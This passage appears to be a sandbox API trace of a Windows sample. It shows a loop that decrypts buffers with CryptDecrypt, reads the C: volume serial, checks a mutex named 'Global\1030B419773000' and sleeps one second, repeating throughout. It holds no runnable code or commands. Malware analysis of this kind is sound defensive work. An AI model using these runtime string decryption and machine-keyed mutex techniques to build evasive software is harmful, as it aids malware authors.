HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf15280 | out: hHeap=0xf10000) returned 1 [0129.763] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xf112c0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0129.763] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf114d8 | out: hHeap=0xf10000) returned 1 [0129.763] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf11298 | out: hHeap=0xf10000) returned 1 [0129.763] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xedfcf4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xedfcf4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0129.764] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf112c0 | out: hHeap=0xf10000) returned 1 [0129.764] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x40) returned 0xf11298 [0129.764] CryptImportKey (in: hProv=0x7268e0, pbData=0xedfc80, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xedfce8 | out: phKey=0xedfce8*=0x7393e8) returned 1 [0129.764] CryptSetKeyParam (hKey=0x7393e8, dwParam=0x1, pbData=0xedfcd0, dwFlags=0x0) returned 1 [0129.764] CryptDecrypt (in: hKey=0x7393e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf11298, pdwDataLen=0xedfc9c | out: pbData=0xf11298, pdwDataLen=0xedfc9c) returned 1 [0129.764] CryptDestroyKey (hKey=0x7393e8) returned 1 [0129.764] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x8, Size=0x34) returned 0xf114d8 [0129.764] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\1030B419773000") returned 0x284 [0129.764] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x0) returned 0x102 [0129.764] CloseHandle (hObject=0x284) returned 1 [0129.764] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf11298 | out: hHeap=0xf10000) returned 1 [0129.764] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf114d8 | out: hHeap=0xf10000) returned 1 [0129.764] Sleep (dwMilliseconds=0x3e8) [0130.787] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x20) returned 0xf11298 [0130.787] CryptImportKey (in: hProv=0x7268e0, pbData=0xedfc4c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xedfcb4 | out: phKey=0xedfcb4*=0x7392e8) returned 1 [0130.787] CryptSetKeyParam (hKey=0x7392e8, dwParam=0x1, pbData=0xedfc9c, dwFlags=0x0) returned 1 [0130.787] CryptDecrypt (in: hKey=0x7392e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf11298, pdwDataLen=0xedfc68 | out: pbData=0xf11298, pdwDataLen=0xedfc68) returned 1 [0130.787] CryptDestroyKey (hKey=0x7392e8) returned 1 [0130.787] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x8, Size=0x1e) returned 0xf112c0 [0130.787] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x1e) returned 0xf114d8 [0130.787] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x90) returned 0xf15280 [0130.787] CryptImportKey (in: hProv=0x7268e0, pbData=0xedfc24, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xedfc8c | out: phKey=0xedfc8c*=0x7393e8) returned 1 [0130.788] CryptSetKeyParam (hKey=0x7393e8, dwParam=0x1, pbData=0xedfc74, dwFlags=0x0) returned 1 [0130.788] CryptDecrypt (in: hKey=0x7393e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf15280, pdwDataLen=0xedfc40 | out: pbData=0xf15280, pdwDataLen=0xedfc40) returned 1 [0130.788] CryptDestroyKey (hKey=0x7393e8) returned 1 [0130.788] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf15280 | out: hHeap=0xf10000) returned 1 [0130.788] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xf112c0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0130.788] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf114d8 | out: hHeap=0xf10000) returned 1 [0130.788] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf11298 | out: hHeap=0xf10000) returned 1 [0130.788] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xedfcf4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xedfcf4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0130.788] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf112c0 | out: hHeap=0xf10000) returned 1 [0130.788] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x40) returned 0xf11298 [0130.788] CryptImportKey (in: hProv=0x7268e0, pbData=0xedfc80, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xedfce8 | out: phKey=0xedfce8*=0x7392e8) returned 1 [0130.788] CryptSetKeyParam (hKey=0x7392e8, dwParam=0x1, pbData=0xedfcd0, dwFlags=0x0) returned 1 [0130.788] CryptDecrypt (in: hKey=0x7392e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf11298, pdwDataLen=0xedfc9c | out: pbData=0xf11298, pdwDataLen=0xedfc9c) returned 1 [0130.788] CryptDestroyKey (hKey=0x7392e8) returned 1 [0130.788] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x8, Size=0x34) returned 0xf114d8 [0130.788] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\1030B419773000") returned 0x284 [0130.788] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x0) returned 0x102 [0130.788] CloseHandle (hObject=0x284) returned 1 [0130.788] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf11298 | out: hHeap=0xf10000) returned 1 [0130.788] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf114d8 | out: hHeap=0xf10000) returned 1 [0130.788] Sleep (dwMilliseconds=0x3e8) [0131.818] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x20) returned 0xf11298 [0131.818] CryptImportKey (in: hProv=0x7268e0, pbData=0xedfc4c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xedfcb4 | out: phKey=0xedfcb4*=0x7391e8) returned 1 [0131.818] CryptSetKeyParam (hKey=0x7391e8, dwParam=0x1, pbData=0xedfc9c, dwFlags=0x0) returned 1 [0131.818] CryptDecrypt (in: hKey=0x7391e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf11298, pdwDataLen=0xedfc68 | out: pbData=0xf11298, pdwDataLen=0xedfc68) returned 1 [0131.818] CryptDestroyKey (hKey=0x7391e8) returned 1 [0131.818] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x8, Size=0x1e) returned 0xf112c0 [0131.818] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x1e) returned 0xf114d8 [0131.818] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x90) returned 0xf15280 [0131.818] CryptImportKey (in: hProv=0x7268e0, pbData=0xedfc24, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xedfc8c | out: phKey=0xedfc8c*=0x7397a8) returned 1 [0131.818] CryptSetKeyParam (hKey=0x7397a8, dwParam=0x1, pbData=0xedfc74, dwFlags=0x0) returned 1 [0131.818] CryptDecrypt (in: hKey=0x7397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf15280, pdwDataLen=0xedfc40 | out: pbData=0xf15280, pdwDataLen=0xedfc40) returned 1 [0131.818] CryptDestroyKey (hKey=0x7397a8) returned 1 [0131.818] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf15280 | out: hHeap=0xf10000) returned 1 [0131.818] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xf112c0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0131.818] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf114d8 | out: hHeap=0xf10000) returned 1 [0131.818] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf11298 | out: hHeap=0xf10000) returned 1 [0131.818] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xedfcf4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xedfcf4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0131.819] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf112c0 | out: hHeap=0xf10000) returned 1 [0131.819] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x40) returned 0xf11298 [0131.819] CryptImportKey (in: hProv=0x7268e0, pbData=0xedfc80, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xedfce8 | out: phKey=0xedfce8*=0x7392e8) returned 1 [0131.819] CryptSetKeyParam (hKey=0x7392e8, dwParam=0x1, pbData=0xedfcd0, dwFlags=0x0) returned 1 [0131.819] CryptDecrypt (in: hKey=0x7392e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf11298, pdwDataLen=0xedfc9c | out: pbData=0xf11298, pdwDataLen=0xedfc9c) returned 1 [0131.819] CryptDestroyKey (hKey=0x7392e8) returned 1 [0131.819] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x8, Size=0x34) returned 0xf114d8 [0131.819] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\1030B419773000") returned 0x284 [0131.819] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x0) returned 0x102 [0131.819] CloseHandle (hObject=0x284) returned 1 [0131.819] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf11298 | out: hHeap=0xf10000) returned 1 [0131.819] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf114d8 | out: hHeap=0xf10000) returned 1 [0131.819] Sleep (dwMilliseconds=0x3e8) [0132.979] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x20) returned 0xf18f10 [0132.979] CryptImportKey (in: hProv=0x7268e0, pbData=0xedfc4c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xedfcb4 | out: phKey=0xedfcb4*=0x752ad8) returned 1 [0132.979] CryptSetKeyParam (hKey=0x752ad8, dwParam=0x1, pbData=0xedfc9c, dwFlags=0x0) returned 1 [0132.979] CryptDecrypt (in: hKey=0x752ad8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf18f10, pdwDataLen=0xedfc68 | out: pbData=0xf18f10, pdwDataLen=0xedfc68) returned 1 [0132.979] CryptDestroyKey (hKey=0x752ad8) returned 1 [0132.979] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x8, Size=0x1e) returned 0xf18f38 [0132.979] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x1e) returned 0xf18f60 [0132.980] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x90) returned 0xf18f88 [0132.980] CryptImportKey (in: hProv=0x7268e0, pbData=0xedfc24, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xedfc8c | out: phKey=0xedfc8c*=0x753018) returned 1 [0132.980] CryptSetKeyParam (hKey=0x753018, dwParam=0x1, pbData=0xedfc74, dwFlags=0x0) returned 1 [0132.980] CryptDecrypt (in: hKey=0x753018, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf18f88, pdwDataLen=0xedfc40 | out: pbData=0xf18f88, pdwDataLen=0xedfc40) returned 1 [0132.980] CryptDestroyKey (hKey=0x753018) returned 1 [0132.980] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf18f88 | out: hHeap=0xf10000) returned 1 [0132.980] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xf18f38, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0132.980] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf18f60 | out: hHeap=0xf10000) returned 1 [0132.980] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf18f10 | out: hHeap=0xf10000) returned 1 [0132.980] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xedfcf4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xedfcf4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0132.980] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf18f38 | out: hHeap=0xf10000) returned 1 [0132.980] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x40) returned 0xf18f10 [0132.980] CryptImportKey (in: hProv=0x7268e0, pbData=0xedfc80, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xedfce8 | out: phKey=0xedfce8*=0x752e58) returned 1 [0132.980] CryptSetKeyParam (hKey=0x752e58, dwParam=0x1, pbData=0xedfcd0, dwFlags=0x0) returned 1 [0132.980] CryptDecrypt (in: hKey=0x752e58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf18f10, pdwDataLen=0xedfc9c | out: pbData=0xf18f10, pdwDataLen=0xedfc9c) returned 1 [0132.980] CryptDestroyKey (hKey=0x752e58) returned 1 [0132.980] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x8, Size=0x34) returned 0xf18f58 [0132.980] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\1030B419773000") returned 0x2f4 [0132.980] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x0) returned 0x102 [0132.980] CloseHandle (hObject=0x2f4) returned 1 [0132.980] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf18f10 | out: hHeap=0xf10000) returned 1 [0132.980] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf18f58 | out: hHeap=0xf10000) returned 1 [0132.980] Sleep (dwMilliseconds=0x3e8) [0134.015] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x20) returned 0xf18f10 [0134.015] CryptImportKey (in: hProv=0x7268e0, pbData=0xedfc4c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xedfcb4 | out: phKey=0xedfcb4*=0x752cd8) returned 1 [0134.015] CryptSetKeyParam (hKey=0x752cd8, dwParam=0x1, pbData=0xedfc9c, dwFlags=0x0) returned 1 [0134.015] CryptDecrypt (in: hKey=0x752cd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf18f10, pdwDataLen=0xedfc68 | out: pbData=0xf18f10, pdwDataLen=0xedfc68) returned 1 [0134.015] CryptDestroyKey (hKey=0x752cd8) returned 1 [0134.015] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x8, Size=0x1e) returned 0xf18f38 [0134.015] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x1e) returned 0xf18f60 [0134.015] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x90) returned 0xf18f88 [0134.015] CryptImportKey (in: hProv=0x7268e0, pbData=0xedfc24, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xedfc8c | out: phKey=0xedfc8c*=0x753158) returned 1 [0134.015] CryptSetKeyParam (hKey=0x753158, dwParam=0x1, pbData=0xedfc74, dwFlags=0x0) returned 1 [0134.015] CryptDecrypt (in: hKey=0x753158, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf18f88, pdwDataLen=0xedfc40 | out: pbData=0xf18f88, pdwDataLen=0xedfc40) returned 1 [0134.015] CryptDestroyKey (hKey=0x753158) returned 1 [0134.015] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf18f88 | out: hHeap=0xf10000) returned 1 [0134.015] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xf18f38, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0134.015] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf18f60 | out: hHeap=0xf10000) returned 1 [0134.015] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf18f10 | out: hHeap=0xf10000) returned 1 [0134.015] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xedfcf4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xedfcf4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0134.015] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf18f38 | out: hHeap=0xf10000) returned 1 [0134.015] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x40) returned 0xf18f10 [0134.015] CryptImportKey (in: hProv=0x7268e0, pbData=0xedfc80, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xedfce8 | out: phKey=0xedfce8*=0x752d58) returned 1 [0134.016] CryptSetKeyParam (hKey=0x752d58, dwParam=0x1, pbData=0xedfcd0, dwFlags=0x0) returned 1 [0134.016] CryptDecrypt (in: hKey=0x752d58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf18f10, pdwDataLen=0xedfc9c | out: pbData=0xf18f10, pdwDataLen=0xedfc9c) returned 1 [0134.016] CryptDestroyKey (hKey=0x752d58) returned 1 [0134.016] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x8, Size=0x34) returned 0xf18f58 [0134.016] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\1030B419773000") returned 0x2f8 [0134.016] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x0) returned 0x102 [0134.016] CloseHandle (hObject=0x2f8) returned 1 [0134.016] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf18f10 | out: hHeap=0xf10000) returned 1 [0134.016] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf18f58 | out: hHeap=0xf10000) returned 1 [0134.016] Sleep (dwMilliseconds=0x3e8) [0135.063] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x20) returned 0xf18f10 [0135.063] CryptImportKey (in: hProv=0x7268e0, pbData=0xedfc4c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xedfcb4 | out: phKey=0xedfcb4*=0x753198) returned 1 [0135.063] CryptSetKeyParam (hKey=0x753198, dwParam=0x1, pbData=0xedfc9c, dwFlags=0x0) returned 1 [0135.063] CryptDecrypt (in: hKey=0x753198, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf18f10, pdwDataLen=0xedfc68 | out: pbData=0xf18f10, pdwDataLen=0xedfc68) returned 1 [0135.063] CryptDestroyKey (hKey=0x753198) returned 1 [0135.063] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x8, Size=0x1e) returned 0xf18f38 [0135.063] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x1e) returned 0xf18f60 [0135.063] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x90) returned 0xf18f88 [0135.063] CryptImportKey (in: hProv=0x7268e0, pbData=0xedfc24, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xedfc8c | out: phKey=0xedfc8c*=0x752cd8) returned 1 [0135.063] CryptSetKeyParam (hKey=0x752cd8, dwParam=0x1, pbData=0xedfc74, dwFlags=0x0) returned 1 [0135.063] CryptDecrypt (in: hKey=0x752cd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf18f88, pdwDataLen=0xedfc40 | out: pbData=0xf18f88, pdwDataLen=0xedfc40) returned 1 [0135.063] CryptDestroyKey (hKey=0x752cd8) returned 1 [0135.063] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf18f88 | out: hHeap=0xf10000) returned 1 [0135.063] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xf18f38, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0135.063] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf18f60 | out: hHeap=0xf10000) returned 1 [0135.063] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf18f10 | out: hHeap=0xf10000) returned 1 [0135.063] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xedfcf4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xedfcf4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0135.063] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf18f38 | out: hHeap=0xf10000) returned 1 [0135.063] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x40) returned 0xf18f10 [0135.063] CryptImportKey (in: hProv=0x7268e0, pbData=0xedfc80, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xedfce8 | out: phKey=0xedfce8*=0x752cd8) returned 1 [0135.063] CryptSetKeyParam (hKey=0x752cd8, dwParam=0x1, pbData=0xedfcd0, dwFlags=0x0) returned 1 [0135.063] CryptDecrypt (in: hKey=0x752cd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf18f10, pdwDataLen=0xedfc9c | out: pbData=0xf18f10, pdwDataLen=0xedfc9c) returned 1 [0135.063] CryptDestroyKey (hKey=0x752cd8) returned 1 [0135.063] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x8, Size=0x34) returned 0xf18f58 [0135.064] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\1030B419773000") returned 0x2fc [0135.064] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x0) returned 0x102 [0135.064] CloseHandle (hObject=0x2fc) returned 1 [0135.064] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf18f10 | out: hHeap=0xf10000) returned 1 [0135.064] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf18f58 | out: hHeap=0xf10000) returned 1 [0135.064] Sleep (dwMilliseconds=0x3e8) [0136.093] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x20) returned 0xf18f10 [0136.093] CryptImportKey (in: hProv=0x7268e0, pbData=0xedfc4c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xedfcb4 | out: phKey=0xedfcb4*=0x752c58) returned 1 [0136.094] CryptSetKeyParam (hKey=0x752c58, dwParam=0x1, pbData=0xedfc9c, dwFlags=0x0) returned 1 [0136.094] CryptDecrypt (in: hKey=0x752c58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf18f10, pdwDataLen=0xedfc68 | out: pbData=0xf18f10, pdwDataLen=0xedfc68) returned 1 [0136.094] CryptDestroyKey (hKey=0x752c58) returned 1 [0136.094] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x8, Size=0x1e) returned 0xf18f38 [0136.094] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x1e) returned 0xf18f60 [0136.094] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x90) returned 0xf18f88 [0136.094] CryptImportKey (in: hProv=0x7268e0, pbData=0xedfc24, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xedfc8c | out: phKey=0xedfc8c*=0x752ed8) returned 1 [0136.094] CryptSetKeyParam (hKey=0x752ed8, dwParam=0x1, pbData=0xedfc74, dwFlags=0x0) returned 1 [0136.094] CryptDecrypt (in: hKey=0x752ed8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf18f88, pdwDataLen=0xedfc40 | out: pbData=0xf18f88, pdwDataLen=0xedfc40) returned 1 [0136.094] CryptDestroyKey (hKey=0x752ed8) returned 1 [0136.094] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf18f88 | out: hHeap=0xf10000) returned 1 [0136.094] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xf18f38, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0136.094] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf18f60 | out: hHeap=0xf10000) returned 1 [0136.094] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf18f10 | out: hHeap=0xf10000) returned 1 [0136.094] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xedfcf4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xedfcf4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0136.094] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf18f38 | out: hHeap=0xf10000) returned 1 [0136.094] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x40) returned 0xf18f10 [0136.094] CryptImportKey (in: hProv=0x7268e0, pbData=0xedfc80, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xedfce8 | out: phKey=0xedfce8*=0x752f58) returned 1 [0136.094] CryptSetKeyParam (hKey=0x752f58, dwParam=0x1, pbData=0xedfcd0, dwFlags=0x0) returned 1 [0136.094] CryptDecrypt (in: hKey=0x752f58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf18f10, pdwDataLen=0xedfc9c | out: pbData=0xf18f10, pdwDataLen=0xedfc9c) returned 1 [0136.094] CryptDestroyKey (hKey=0x752f58) returned 1 [0136.094] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x8, Size=0x34) returned 0xf18f58 [0136.094] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\1030B419773000") returned 0x2fc [0136.094] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x0) returned 0x102 [0136.094] CloseHandle (hObject=0x2fc) returned 1 [0136.094] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf18f10 | out: hHeap=0xf10000) returned 1 [0136.094] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf18f58 | out: hHeap=0xf10000) returned 1 [0136.094] Sleep (dwMilliseconds=0x3e8) [0137.095] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x20) returned 0xf18f10 [0137.095] CryptImportKey (in: hProv=0x7268e0, pbData=0xedfc4c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xedfcb4 | out: phKey=0xedfcb4*=0x752c58) returned 1 [0137.095] CryptSetKeyParam (hKey=0x752c58, dwParam=0x1, pbData=0xedfc9c, dwFlags=0x0) returned 1 [0137.095] CryptDecrypt (in: hKey=0x752c58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf18f10, pdwDataLen=0xedfc68 | out: pbData=0xf18f10, pdwDataLen=0xedfc68) returned 1 [0137.095] CryptDestroyKey (hKey=0x752c58) returned 1 [0137.095] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x8, Size=0x1e) returned 0xf18f38 [0137.095] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x1e) returned 0xf18f60 [0137.095] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x90) returned 0xf18f88 [0137.095] CryptImportKey (in: hProv=0x7268e0, pbData=0xedfc24, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xedfc8c | out: phKey=0xedfc8c*=0x753098) returned 1 [0137.095] CryptSetKeyParam (hKey=0x753098, dwParam=0x1, pbData=0xedfc74, dwFlags=0x0) returned 1 [0137.095] CryptDecrypt (in: hKey=0x753098, hHash=0x0, Final=0, dwFlags=0x0, 